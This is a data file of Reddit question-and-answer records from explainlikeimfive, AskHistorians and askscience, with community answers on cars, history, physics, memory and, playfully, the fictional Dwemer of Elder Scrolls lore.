{"q_id": "3vjghp", "title": "why don't all cars have wheels that turn perpendicular to the car for easy parallel parking?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3vjghp/eli5_why_dont_all_cars_have_wheels_that_turn/", "answers": {"a_id": ["cxo13r6", "cxo14b5", "cxo17hd", "cxo3gcs"], "score": [11, 3, 4, 2], "text": ["You'd have to somehow get power to the wheels.\n\nCars use something called a CV joint that allows the driveshaft to bend as the wheel turn or the suspension moves. A CV joint works well for the smallish angles that you can get with conventional steering, but it won't allow you to turn the wheel 90\u00ba.\n\nYou'd also have to make the wheel arches bigger to accommodate the extra space taken up by a wheel that could turn further - this would reduce space in the engine compartment and boot.", "Expense of design. Wheels receive power via and axel; while a little bit of turning is okay, having a wheel turn 90 degrees would completely disconnect it from the axel. You would have to have some other power source to then turn the wheels, which would take up space and add significant weight. It just isn't worth it to add all the complexity and cost just to make a manuever, which most people can learn without too much trouble, slightly easier.", "Basically, a wheel on one side are connected to the wheel on the other side with a single beam. The wheels are \"pointing\" forwards. Simple sketch:\n\n//----//\n\n||----||\n\n\\\\----\\\\\n\nOf course, it's not just a simple beam because otherwise you couldn't turn. \n\nNow, if you wanted your wheels to be perpendicular to the car, you would end up with something like this:\n\n==----==\n\nor this\n\n__\n\n |\n\n |\n\n__\n\nIt's not going to work for the second example, and the first one would be very, very awkward as you would have to redesign the entire system.", "Some trucks do this.   The 1989 Honda prelude does 4wheel steering as well. The additional cost isn't profitable.   People aren't willing bg to pay $5000 more to have 4 wheel steering.   Autopark they are willing to pay for"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "alvsi6", "title": "\"air quotes\" (i really need an eli5 explanation for my 5-year old daughter)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/alvsi6/eli5_air_quotes_i_really_need_an_eli5_explanation/", "answers": {"a_id": ["efhcvsp", "efhd0bb", "efhegay", "efher74"], "score": [4, 3, 2, 20], "text": ["Air quotes are what you use when you are using the words which someone else uses but which you wouldn't use yourself", "They are like holding up a type of sarcasm sign. That whatever you are air quoting is supposed to be one thing but it isn't behaving like it.", "Quotes mean that someone else said the thing I'm saying, I'm just repeating it. That way people don't think I believe the thing I just said. \"I don't like cookies!\" That guy over there said that, not me, I still want cookies.\n\nAir quotes are a way to show that I'm using a word or a phrase that someone else would use, but I don't really think that. If mom decides we don't eat enough veggies and makes salad for dessert, I might use air quotes to say that mom made \"dessert\": *I* wouldn't call it that, but that's what *someone* is calling it and I want to make fun of that.", "Welcome to my favorite part of other peoples' kids' childhoods: The age where they understand that jokes are funny, and understand the structure of certain jokes, but don't understand that you can't just plug in random words to that structure and suddenly make the joke funny. Does she also tell knock knock jokes that go something like:\n\nKnock-knock\n\nWho's there?\n\nBanana\n\nBanana who?\n\nBanana monkey ook ook ook!\n\nBecause those are my favorite.\n\nSorry, I got distracted.\n\nAnyway, air quotes are for when you say one thing, but you really mean the opposite. So if you say: Hey dad, that shirt looks \"awful\" then you're really telling dad that his shirt looks great.\n\nIt's not a very nice thing to do when it goes the other way.\n\n(I'm not sure how to go any deeper into this subject without having to try to break down the concepts of irony and implication to a 5 year old, which I don't think I'm qualified to do)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "w7rig", "title": "From an historians perspective, would it be fair to describe the US as having a \"European culture\" to some extent? ", "selftext": "I was just reading the wikipedia entry on [Western culture](_URL_0_) which states: \n\n >  Western culture, sometimes equated with Western civilization or **European civilization**, is a term used very broadly to refer to a heritage of social norms, ethical values, traditional customs, religious beliefs, political systems, and specific artifacts and technologies. The term has come to apply to countries whose history is strongly marked by European immigration or settlement of white culture, such as the Americas, and Australasia, and is not restricted to Western Europe.\n\nIf you look at the imporant aspects of US society: rationalism, humanism, democracy, human rights, values of the enlightenment and scientific revolution, industrialism, Christianity, the English language, etc. we can trace their origins directly back to European civilization. Its social norms, customs and values are also those of European civilization. Obviously then if the US had been settled primarily by Chinese migrants it would be a very different society in terms of language, social norms, values, religion, etc. Therefore if the US has a 'Western culture' and this term is usually equated with *European* civilization, is the US a European civilization to some extent? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/w7rig/from_an_historians_perspective_would_it_be_fair/", "answers": {"a_id": ["c5b02mq", "c5b07cv", "c5b7gd5"], "score": [10, 8, 4], "text": ["It's an ongoing discussion: What is(are) the central element(s) of culture/and/or/civilization (they are not *always* synonymous!)? That's (part of) why there was such a kerfuffle surrounding Huntingtons's [Clash of Civilisations](_URL_0_).", " >  If you look at the imporant aspects of US society: rationalism, humanism, democracy, human rights, values of the enlightenment and scientific revolution, industrialism, Christianity, the English language, etc. we can trace their origins directly back to European civilization.\n\nWe can, but you can also see these values in non-European cultures, depending on how liberal you're willing to be with your definitions.  \n\nUltimately, I think it depends on your perspective.  If you want to define \"humanism\" to the value of human life, European societies aren't the only ones that held this value.  \"Rationalism\" has many permutations throughout history, and not all of them come from Europe.  \n\nThe question is always how far you're willing to stretch your definitions.  Does the \"scientific revolution\" begin with Issac Newton, or do we include the mathematical advances of Muslim scholars from the Middle Ages on which he built his theories?  Does \"Christianity\" include Catholicism, Protestantism, and Orthodoxy, even though the three have significant differences?  Is English crucial to defining the U.S., even though at various periods in history many people wouldn't have spoken it as their first language?  \n\nAlso, it's worth mentioning that the concepts we identify as foundational to \"western civilization\" are still debated.  For example, western civ. textbooks will still cite Ancient Greece as the birthplace of modern democracy.  But even this interpretation has problems, as the type of democracy practiced in Athens wasn't congruent with what we consider to be democracy.  Eric Robinson has published a lot on this topic if you want further detail.\n\nFrom my own perspective, the term \"civilization\" poses certain complications when thinking about any kind of culture.  We associate the word with a certain set of concepts - urbanism, technology, bureaucratic governments, military machines, and organized religion, to name a few - and tend to discount anything else that doesn't bear a resemblance.  The term \"European civilization,\" too, treats Europe as a monolithic entity, when it doesn't make sense to think of it as such.\n\nThe U.S. can be associated with the things you mentioned, but it can equally be associated with a host of other things in terms of philosophical movements, language, and religion.  Chinese migrants, for example, _did_ settle in the U.S. and greatly contributed to the shape of the landscape.  They also found things that China and the U.S. shared in common, though (urbanism or agrarianism, perhaps?), otherwise they wouldn't have settled there.\n\n**TL;DR Version:** European is one of many heritages that comprise the modern-day United States. ", "Yes the US has a European culture. America has had an English speaking hegemony since at least 1763 (end of the Seven Years War). That means that all new immigrants into the country are forced, sometimes through violent coercion, to conform to European ideals. These early ideals are the foundation of US constitutional law that has an inordinate effect upon all levels of government and public service. Obviously given the relative distance apart from Europe, specific ecological conditions, and the huge numbers of immigrants, America has developed a particular culture (be careful of exceptionalist arguments of American uniqueness which frequently carry the attendant idea that America is allowed to act irrespective of global opinion). Ultimately the nine attributes you mention are based upon European precedents, which logically mean American is European.\n\nFor ideas about ethnic integration see Thomas Archdeacon 'Becoming American', for more on the origins of ideas like rationalism and humanism see JGA Pocock 'The Machiavellian Moment'."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Western_culture"], "answers_urls": [["http://en.wikipedia.org/wiki/Clash_of_Civilizations"], [], []]}
{"q_id": "1moggd", "title": "How was the continental congress significant in the start american revolution? Why were the militias significant people to the early american revolution?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1moggd/how_was_the_continental_congress_significant_in/", "answers": {"a_id": ["ccb5e7e"], "score": [2], "text": ["The 1st meeting of the Continental Congress on Sep 5, 1774 tried to respectfully petition the crown to remove the laws/taxes that were angering the colonists, but they also set up nonimportation and nonexportation policies in order to coerce Britain to take their side. In order to keep these in place they set up small committees in all regions in the colonies. These committees became a sort of government for the colonies and quickly gained power before the British were able to. These committees took control of the militias and rooted out all of the officers and men who were loyal to the crown. They also took control of all major powder and ammunition stores and set up their own. One of these stores was in the town of Concord. On top of this they created \"fast response groups\" who would be ready to fight at a moments notice. When the British learned of the stores at Concord they sent a unit to take it, but their plans got out ahead of time and the rebels were warned by riders (Paul Revere and William Dawes). On their way to Concord the British were held up in the town of Lexington by a small unit of rebels. Due to a nervous trigger finger on one of the sides a battle broke out, and this is considered to be the outbreak of the American Revolution. So in short, the Continental Congress played a large role in the start of the revolution, even if it was not entirely intentional. \n\nMilitia units were important throughout the war because the Continental army was never large enough to fight the whole war alone, so its ranks were often filled by militias. Militias played a role in many major battles of the war, especially in the defense of their cities. \n\nAll of this information is from the textbook American Military History, Volume 1: The United States Army and the Forging of a Nation"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2v5li9", "title": "Was there a genuine attempt by the British military to depose Harold Wilson's government in the mid-70's?", "selftext": "Out of curiosity, I recently watched [this BBC documentary,](_URL_0_) which stated rather outright that there was a genuine concern amongst certain members of the military and secret service that Wilson's Labour government would turn communist, or else otherwise prove ineffective in preventing rising social unrest in the country. The documentary linked the coup's planners to a smear campaign against Wilson and his cabinet in the press, as well as the army's deployment at Heathrow in 1974 as a form of 'dress rehearsal' for the planned occupation of London.\n\nI'm a tad skeptical; it all sounded a bit *Seven Days in May* to me, and as yet, I've not found a source, beyond wikipedia, backing up the claims made in the documentary. Any historian of modern British politics willing to shed some light on the matter? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2v5li9/was_there_a_genuine_attempt_by_the_british/", "answers": {"a_id": ["coerf3h", "coerr5a"], "score": [77, 7], "text": ["This is a bit difficult to source for me, the only brief write-up I have on this is from a Do Or Die anthology, from 2003, however it does mention other sources. \n\nI'll just reproduce what it says, verbatim: \"The 1970s crisis and the secret state destabilisation of a succession of Labour governments is a rarely mentioned but extremely important part of recent British history: \"A substantial section of the British Secret state and its allies in the Conservative party, business and the media believed, or found it useful to pretend to believe- the distinction is difficult to make- that British democracy, the state, and even the capitalist system itself was under threat from a resurgent left, spearheaded by the trade unions and manipulated by the British Communist Party under instruction from Moscow...\"- from *Lobster* Magazine No.34, p.32.\n\nRadical right militias led by intelligence and military men were formed. Newspapers openly discussed the right circumstances for Army intervention in Britain while MI5 orchestrated black propaganda against the Labour Cabinet and trade union leaders. Joint military and police operations were carried out at Heathrow Airport without government sanction. Plans were advanced to install an unelected government of \"National Unity\" lead by Lord Mountbatten. No unsubstantiated conspiracy theory, this was first exposed in an autobiography by an ex-*Daily Mirror* executive who was actually at a meeting with some of the conspirators and a long time MI5 agent. Similar manoeuvres within the military continued through to the mid 70's.\n\nThe parapolitical background to the '70s crisis is essential to any understanding of the death of the post-war consensus and the triumph of the Thatcherite radical right. It's amazing to realise how near to the brink Britain really was. See *Who Framed Colin Wallace?* by Paul Foot, (Macmillan, 1988) and, *Smear: Wilson and the Secret State* by Stephen Dorill and Robin Ramsay, (Fourth Estate). These are still the best and most fully documented accounts of the Wilson plot\". \n\nYou can judge of these source's credibility for yourself, but in my opinion Robin Ramsay, who started Lobster magazine (_URL_0_) is a pretty credible writer. The contents page for the issue of the Lobster mentioned is here: _URL_1_\n\nI haven't read his book about Colin Wallace, but Paul Foot was also a reputable and award-winning journalist who I don't think would get involved in paranoid conspiracy stuff.\n\nSo in conclusion, the answer to your question is, I don't know, but it seems plausible based on these sources, which are admittedly sparse, but one would expect that given the secretive nature of the events. \n\nOn a personal note, (and this will probably be dismissed as anecdotal evidence), my father was a miner and local secretary of a left party in the 70's, and has told me about how extremely paranoid the security services were about the unions at the time. He claims, for instance, to have had his mail opened, presumably by MI5 or someone working for them by proxy. This isn't actually as far-fetched as it might sound. ", "Another source I should mention is Peter Wright's \"Spycatcher\", which also apparently mentions these events, and was initially banned  in Britain. (Or, at least, the British government attempted to ban it). "]}, "title_urls": [], "selftext_urls": ["http://www.imdb.com/title/tt0780586/"], "answers_urls": [["https://en.wikipedia.org/wiki/Lobster_(magazine)", "http://www.lobster-magazine.co.uk/issue34.php"], []]}
{"q_id": "wa8rh", "title": "Did scientists know that there was going to be a loud *BOOM* before they first broke the sound barrier?", "selftext": "Just a random thought I had last night. Did they suspect that there would be a specific indication of when they reached 343.2 m/sec?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wa8rh/did_scientists_know_that_there_was_going_to_be_a/", "answers": {"a_id": ["c5bmjm6", "c5bmki8", "c5bxcur"], "score": [32, 5, 3], "text": ["First off, the sound speed in air isn't so precise. It can vary by +/-10 m/s based on temperature alone.\n\nSecond, they knew that the pressure would build up in front of the plane, that the build up of pressure would eventually form a shockwave, and that the shockwave formed would sound like \"boom.\" It's hard to say what people close to the problem knew, but there seems to have been some discussion about what forces would act on the plane at that moment, and whether it would get ripped apart by them.\n\nIncidentally, the first manmade sonic boom likely came from the snapping of a bullwhip moving faster than the speed of sound. This probably gave scientists something of an understanding of how a sonic boom would behave.", "I suspect that there's a lot of misunderstanding about the \"sonic boom\".  It's not a single event that happens when the sound barrier is crossed, but rather, it's the accumulation of sound waves in the wake of a supersonic object.  This [wiki page](_URL_0_) has a nice animation at the top showing how this happens.\n\nAlso, note that the \"Booms\" are only audible as an outside observer.  From the same article that I linked above:\n > As a former Concorde pilot puts it, \"You don't actually hear anything on board. All we see is the pressure wave moving down the aeroplane - it gives an indication on the instruments. And that's what we see around Mach 1. But we don't hear the sonic boom or anything like that. That's rather like the wake of ship - it's behind us.\"\n\n > 343.2 m/sec\n\nAlso, be careful about putting out a precise value out there.  The speed of sound isn't a rigid value and changes based on the medium (air, water, etc) and properties (pressure, humidity).\n\nEDIT:\n\nForgot about a section -- even though a human hadn't gone faster than the speed of sound until 1947, they weren't inexperienced about supersonic objects -- e.g. bullets and artillery shells, both which have the characteristic \"sonic boom\".", "They already knew what supersonic bullets sounded like. Its an interesting experience, having supersonic bullets go over your head, I've been in the target pit at a rifle range when they go by, and first you hear the supersonic crack of the bullet going overhead, and about half a second later, (200 yd) the gunshot.\n\nPoint of trivia, the Bell X-1, the first supersonic manned aircraft, was designed with the same shape, with added wings, as the .50 cal bullet, because they knew that was a supersonic object."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Sonic_boom"], []]}
{"q_id": "57eh3d", "title": "Is Canada officially the 'Dominion of Canada' or the 'Canadian Confederation'?", "selftext": "The term 'dominion' was adopted in 1867, when Canada formed its federation, so is its modern moniker, after the 1982 Canada Act, a 'dominion' or 'confederation'? (even though it is technically a federation, not a confederation)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/57eh3d/is_canada_officially_the_dominion_of_canada_or/", "answers": {"a_id": ["d8rawk1"], "score": [2], "text": ["While the term 'dominion' is mentioned in the BNA 1867 and Canada was frequently referred to as the 'Dominion of Canada' the designation dominion was not entirely official. Over the years as Canada's attachment to the British Empire lessened the term 'Dominion' fell out of favour and Canada became simply referred to as Canada. \n\nAlthough if you want a technical answer on the form of government Canada is. Since 1867 Canada has remained a federation of provinces despite shifts in the power dynamic between the central government and provincial level over the years"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9ly5l7", "title": "Did any native americans actually make the \"War Woop\" aka \"wawawawa\" noise?", "selftext": "Like these kids are imitating here:\n\n_URL_0_ ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9ly5l7/did_any_native_americans_actually_make_the_war/", "answers": {"a_id": ["e7l51or"], "score": [3], "text": ["In the handful of times I heard the sound you're describing, I couldn't help but think that it sounded like ululation being mimicked by people who don't ululate much/at all.\n\nIf this isn't broadening the question too much, my (American) friends have imitated my (South Asian) mother's ululation in that same manner, and I was wondering if anyone knew of any such association?\n\nAlthough that may be a more strictly linguistic question..."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=4jbx2FVpnZw"], "answers_urls": [[]]}
{"q_id": "jvmnu", "title": "Is it possible to make a \"silicon diamond?\"", "selftext": "Diamonds are made when all four of carbon's bonding sites are linked to other carbon atoms in a diamond lattice. Silicon also has four bonding sites. Can it link to itself in the same way?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jvmnu/is_it_possible_to_make_a_silicon_diamond/", "answers": {"a_id": ["c2fgz8f", "c2fhau0", "c2fhq7z", "c2fikcp", "c2fj7kc", "c2fgz8f", "c2fhau0", "c2fhq7z", "c2fikcp", "c2fj7kc"], "score": [52, 15, 2, 2, 2, 52, 15, 2, 2, 2], "text": ["They don't look like diamonds. They look like [this](_URL_0_).", "It's inside your computer right now, and pretty much everything else electronic. Silicon single crystals (with diamond structure) are grown in huge crystals and the sliced very thin to make electronics.\n\n_URL_0_", "Silicon is space group Fd-3m at room temperature and therefore is a diamond structure just like diamond carbon:\n_URL_0_\n", "What you're thinking of is a [crystal](_URL_0_), which is a material with a repeating, long range order. A good example would be grains of salt, which have [this](_URL_1_) crystal structure.  \n  \nOn a tangentially related note, is the difference in strength between, say, graphite and diamond only due to the presence of the planes only connected by Van der Waals forces? i.e. is the strength within a single plane of graphite as strong as the strength in any plane within diamond?", "[How do they make Silicon Wafers and Computer Chips](_URL_0_)", "They don't look like diamonds. They look like [this](_URL_0_).", "It's inside your computer right now, and pretty much everything else electronic. Silicon single crystals (with diamond structure) are grown in huge crystals and the sliced very thin to make electronics.\n\n_URL_0_", "Silicon is space group Fd-3m at room temperature and therefore is a diamond structure just like diamond carbon:\n_URL_0_\n", "What you're thinking of is a [crystal](_URL_0_), which is a material with a repeating, long range order. A good example would be grains of salt, which have [this](_URL_1_) crystal structure.  \n  \nOn a tangentially related note, is the difference in strength between, say, graphite and diamond only due to the presence of the planes only connected by Van der Waals forces? i.e. is the strength within a single plane of graphite as strong as the strength in any plane within diamond?", "[How do they make Silicon Wafers and Computer Chips](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ami.ac.uk/courses/ami4202_mdesign/u02/images/SingleCrystalSiliconIngot.jpg"], ["http://en.wikipedia.org/wiki/Monocrystalline_silicon"], ["http://www.webelements.com/silicon/crystal_structure.html"], ["http://en.wikipedia.org/wiki/Crystal", "http://www.chemistry.wustl.edu/~courses/genchem/Tutorials/Water/images/nacl.jpg"], ["http://www.youtube.com/watch?v=aWVywhzuHnQ&amp;feature=player_detailpage#t=109s"], ["http://www.ami.ac.uk/courses/ami4202_mdesign/u02/images/SingleCrystalSiliconIngot.jpg"], ["http://en.wikipedia.org/wiki/Monocrystalline_silicon"], ["http://www.webelements.com/silicon/crystal_structure.html"], ["http://en.wikipedia.org/wiki/Crystal", "http://www.chemistry.wustl.edu/~courses/genchem/Tutorials/Water/images/nacl.jpg"], ["http://www.youtube.com/watch?v=aWVywhzuHnQ&amp;feature=player_detailpage#t=109s"]]}
{"q_id": "2r6smv", "title": "Why are barcode scanners and most lasers red?", "selftext": "I'm guessing it is because it bounces back more accurately, but why would it bounce back more at that wavelength compared to another color?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2r6smv/why_are_barcode_scanners_and_most_lasers_red/", "answers": {"a_id": ["cndfklx"], "score": [24], "text": ["Barcode scanners work by scanning (laser-based) or shining (LED based) a light on a barcode, and using a photodiode or camera to look at the light reflected back. Black bars don't reflect as much light as the spaces in-between, so therefore by looking at the pattern of reflected light, the barcode can be read. \n\nBarcode scanners in theory could use any color light. The reason they use red comes down to cost and simplicity. Red lasers are significantly cheaper than other colors. Photodiodes (the reader element in the scanner) also tend to respond better to longer wavelengths, so they will get a better signal from red light as compared to blue or green. \n\nIf, for example, a scanner used a blue laser, it would require a more expensive laser, and either a more expensive/specialty photodiode or better signal conditioning software to tell the difference between the 1s and 0s of the barcode. Unless there is a specific reason why red light couldn't be used, there isn't really any reason to make a more expensive barcode scanner.\n\nThere are some scanners ([example](_URL_0_)) that use green light, or switch back and forth between green and red light, because some labels (due to coloring or substrate) will not be read under red light. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.marson.com.tw/webe/html/product/show.php?num=20&amp;kind=26"]]}
{"q_id": "bz41z1", "title": "what causes us to randomly think about people or things from many years ago that we don\u2019t regularly think about?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bz41z1/eli5_what_causes_us_to_randomly_think_about/", "answers": {"a_id": ["eqpy9nj", "eqpzsvx", "eqq8tym", "eqq91wa", "eqq9sn0", "eqqauhy"], "score": [122, 502, 15, 5, 3, 3], "text": ["Usually it\u2019s triggers, associations we have in our mind that might not be obvious or even completely conscious in our minds but everything connects to something else so it may take a combination of things before those memories come back to you. Because the triggers might be mundane, you might not even remember them after you become lost in thought reminiscing.", "There's a common perception that memories are like books in a library where you can go directly to the right section and pull out the memory. However, memory is stored more like long threads of yarn. You have to find the  thread end to unravel the memory associated with it.\n\nMany of these threads will have their ends hidden or stuffed somewhere it is difficult to find. When you don't use a memory often, it can get pushed to the back of your mind. When your mind wanders, sometimes you end up strolling into those abandoned areas and find an end to pull, unraveling old thoughts.\n\nAnother way is through associated memories. If a smell or other sense pulls some memories out, those threads may be connected to other older threads. Sometimes, it exposes an old thread end that was buried deep in your mind for you to pull at.", "I just want to add this really, while memory is fascinating and very complex, you can use \"state dependent\" principles to your advantage. So essentially if you create a memory while in a certain location - i.e. a park, and while in a certain bodily state i.e. caffeinated, you can recall it better when you are caffeinated and in that park. So for exams - it can help to revise in the test hall if you can. It's not 100%, but still very Interesting. For further info look up \"Baddley and Hitch\".", "For me it\u2019s a song, a smell or performing a motion that I have linked to them. Sometimes it\u2019s a place that you go which is \u201cyours and theirs\u201d", "Long term memory (LTM) is stored basically permanently. The issue is retrieving LTM. Memory is associative. Short-term memory (aka working memory) can be used to cue retrieval of LTM. These cues come from purposely thinking about something or by experiencing something in the environment (seeing, hearing, feeling, etc) that enters short-term memory and cues retrieval of LTM. So likely you experienced something in the environment that made you think about something long ago.", "I think about a co worker I had 15-20 years ago when ever I bake something. \n\nI never baked anything with or for him but I always think about an early morning drive to the airport we did together in Tel Aviv where we were going way to fast and blew right over a roundabout at 5 in the morning. \n\nWeird how memory works."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "30xei2", "title": "Is there a consensus on the disappearance of the Dwemer?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/30xei2/is_there_a_consensus_on_the_disappearance_of_the/", "answers": {"a_id": ["cpwnuwy", "cpwolgm", "cpwolmn", "cpwstri", "cpx1yej", "cpx7lqm"], "score": [2, 15, 83, 33, 6, 8], "text": ["There is some ambiguity. What's known for certain is that the disappearance of the Dwemer is related to the Heart of Lorkhan during the Battle of Red Mountain. \n\nThere are a few other theories. The text \"The Fall of the Snow Prince\" suggests that a civil war between the Dwemer and their Falmer slaves led to the destruction of the Dwemer. However, what's more likely is that something went wrong when they activated the Brass God, causing their disappearance, though what the exact mechanics were is unknown. ", "Most conventional schools of thought on this postulate a precipitating external cause for their migration or destruction. Truthfully, this is probably the case. But I believe an internal, cultural cause is just as likely. My view, judging from the documents we have on Dwemer history, technology, and culture, is this: the Dwemer voluntarily extinguished their own existence, having achieved all of life's possible goods:\n\n >  \"Our extinction, however, would not be the outcome of an unnatural chastity, but would be a naturally occurring phenomenon once we had evolved far enough to apprehend our existence as so hopelessly pointless and unsatisfactory that we would no longer be subject to generative promptings. Paradoxically, this evolution toward life-sickness would be promoted by a mounting happiness among us. This happiness would be quickened by our following [the] evangelical guidelines for achieving such things as universal justice and charity. Only by securing every good that could be gotten in life, it is figured, could we know that they were not as good as nonexistence.\"\n-\nBrassworker Ligotti, the Conspiracy against the Dwemer Race, Scroll 7.", "Yes and no.\n\nGenerally speaking, we know the cause of their disappearance. However, we're sorely lacking on specific details, and what we do have is almost entirely from conflicting accounts such as the perspective of the Dunmer (or, at the time, Chimer) who fought a war against the Dwemer. And even then, we don't know precisely the *effect* of their disappearance.\n\nSo here's a run-down for you. The Dwemer and Chimer had been allies when they repulsed a Nord invasion, and Nerevar of the Chimer was close friends with Dumac Dwarfking of the Dwemer for more than 250 years, from 1E416 to just prior to 1E700. However, Voryn Dagoth learned that the Dwemer had discovered the Heart of Lorkhan under the Red Mountain, and Chief Tonal Architect Kagrenac was planning to harness this divine artifact to power the Numidium. This is what lead to the War of the First Council.\n\nSo Nerevar and his lieutenants (including Vivec and Almalexia) lead an army of Dunmer to assault the Red Mountain and force their former friends and allies to stop meddling with the heart of a god. [Accounts of the battle differ](_URL_0_). Some say the Chimer were losing the battle when Kagrenac used the tools on the Heart. Others say the Chimer were achieving a decisive victory and Kagrenac acted out of desperation. Either way, we know that the battle culminated in Kagrenac attempting to use the Heart, with the result that every Dwemer on Nirn disappeared entirely. (Events immediately following the battle and later attempts to utilize the Heart are a topic for another time.)\n\nWhat actually *happened* to the Dwemer is almost entirely unknown. Some of what we know comes from Yagrum Bagarn, the last known living Dwemer. He survived because he was on another Plane at the moment when the Heart was activated. So we know that the effects were solely confined to Mundus. Much later, Arniel Gane believed that the Dwemer were still alive on another Plane far removed from the known Planes and could be contacted, but his experiments with recreating the circumstances of the Dwemer's disappearance only lead to his own disappearance.\n\nOne theory I have heard is that Kagrenac's experiments with the Heart attempting to create an artificial god in the form of the Numidium, instead lead to the entire race of Dwemer to undergo their own version of the Psijic Endeavor but fail to achieve CHIM, and so they all zero-summed simultaneously and were removed from reality by their own egos.", "Hey! This an assignment in Mr. Artorius's class! Take this kind of question to /r/homeworkhelp.", "There is no consensus. What we know is that they disappeared during the Battle of Red Mountain in 1E700, with all but a few who were otherwise bound vanishing. A popular theory relates the disappearance of the Dwemer to their arcane practices collectively known as \"tonal architecture\". As you are probably aware, many of the races of Tamriel past and present reject the Mundus, seeing Lorkhan as a trickster and betrayer of gods. But only two races actually carried this sentiment with them into the First Era, the other race being the Altmer. The Dwemer themselves were almost defined by their rejection of reality itself, and it is known that they sought to return themselves to a prior \"divine state,\" as described by Baladas Demnevanni:\n\n > It was unfashionable among the Dwemer to view their spirits as synthetic constructs three, four, or forty creational gradients below the divine. During the Dawn Era they researched the death of the Earth Bones, what we call now the laws of nature, dissecting the process of the sacred willing itself into the profane. I believe their mechanists and tonal architects discovered systematic regression techniques to perform the reverse -- that is, to create the sacred from the deaths of the profane.\n\n\"Sacred willing itself into the profane\" refers to the death of the gods that came before - the Earth Bones - to create the Mundus and it's population. It is believed that the Dwemer attempted to reverse this process, i.e. make gods from men. The results of failed experiments at anti-creation can be seen throughout Morrowind, Skyrim and Hammerfell in their mechanical constructs. The ultimate experiment would be to create a divine being of Dwemer origin and then leave the Mundus behind them. To do this, the Dwemer's greatest tonal architects worked with one of the most powerful artifacts known to have existed: the Heart of Lorkhan, literally the heart of a god. The mechanics of even manipulating the Heart are lost to time (as too is the Heart), so it's not likely that we will ever know *why* it was needed, but it is believed that the Dwemer as a whole would be bound to their new god, the Numidium, in the ultimate anti-creation. If this is what was attempted by Kagrenac during the Battle of Red Mountain, then it could explain why the (almost) entire Dwemer race vanished and why reports of the battle very wildly, as time itself is known to rend before the Brass God, as it did when Zurin Arctus activated it in the late Second Era, and as it did in the Third Era. But a definitive answer on the Dwemer may never be found.", "Plenty of theories, but no consensus as such, no. One of the better-known theories out there is [this treatise](_URL_0_), based on Demnevanni's pseudo-scientific work on theories about the nature of Dwemer tonal architecture, and concludes that the Dwemer were absorbed into the skin of the semi-mythical entity called \"Anumidium\". Other theories are that experiments by a tonal architect known as \"Kagrenac\" (but that appears to be a title rather than a name) led either to their transference into an alternate dimension, or to the entire race simultaneously achieving the state known to mystics as CHIM; Malier's antiquated theory that the Dwemeri use of telepathy allowed them to make a coordinated migration simultaneously; or a more recent suggestion, that the Dwemer were wiped out by the Falmer.\n\nPart of the problem is that a large proportion of these theories rely on mysticism, or on unfounded suppositions about the nature of Dwemer technology. That doesn't make them impossible, of course, but as historians we have to work with evidence. You might retort that that gives us a heavy materialist bias; but still, without evidence, we're just speculating. \n\nAnd there's a serious shortage of actual evidence. After the late Second Era, practically no work was done on the Dwemer for several centuries. Only at the end of the Third Era, several developments took place very quickly. Archaeological campaigns on Vvardenfell led to numerous studies on the Dwemer by figures like Antabolis, Cadiusus, and Elbert. Athellor's rediscovery of the long-lost text *Fall of the Snow Prince* in 3E 427 prompted intensive study of the relationship between the Dwemer and the Falmer: this led to the decipherment of Falmeris, and studies on both the Falmer and the Dwemer by recent authorities such as Uthrax and Calcelmo.\n\nBut when it comes to ancient sources on the Dwemer we're very much in the dark. We can't even be totally certain of the *date* of the disappearance of the Dwemer! Ghelein, writing in the early Second Era, dated it to 1E 700, and that's the conventional date; but Malier, writing a little later, dated it a few decades earlier in 1E 668 (see e.g. the publisher's notes to [*Ancient Tales of the Dwemer*](_URL_1_) vol. 6). At the time Ghelein and Malier were writing, the University of Gwylim was the main centre for Dwemer scholarship, but the scholars there never arrived at a consensus. The modern agreement on 1E 700 is simply a result of Elbert taking Ghelein at his word; no one has ever seriously addressed the dating problem to my knowledge.\n\nThe whole topic is surrounded by deep methodological problems over how to interpret the evidence on the Battle of Red Mountain. There are several incompatible reports, and some historians have even resorted to the mystical idea of a \"dragon break\" to suggest that multiple timelines collided, or that time was manipulated by one of the various deities who were supposedly involved in the battle. Strictly speaking we can't rule that out, of course. But from the point of view of evidence, we've never yet found any *material* evidence of a real \"dragon break\".\n\nIf anything ever turns up in the archaeological record to suggest that dragon breaks are real, then we might have the beginnings of an explanation. As things stand, though, the \"dragon break\" theory is tantamount to positing a miracle."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://uesp.net/wiki/Lore:Battle_of_Red_Mountain#Vivec.27s_Account_and_the_Heirographa"], [], [], ["http://www.imperial-library.info/content/final-report-trebonius", 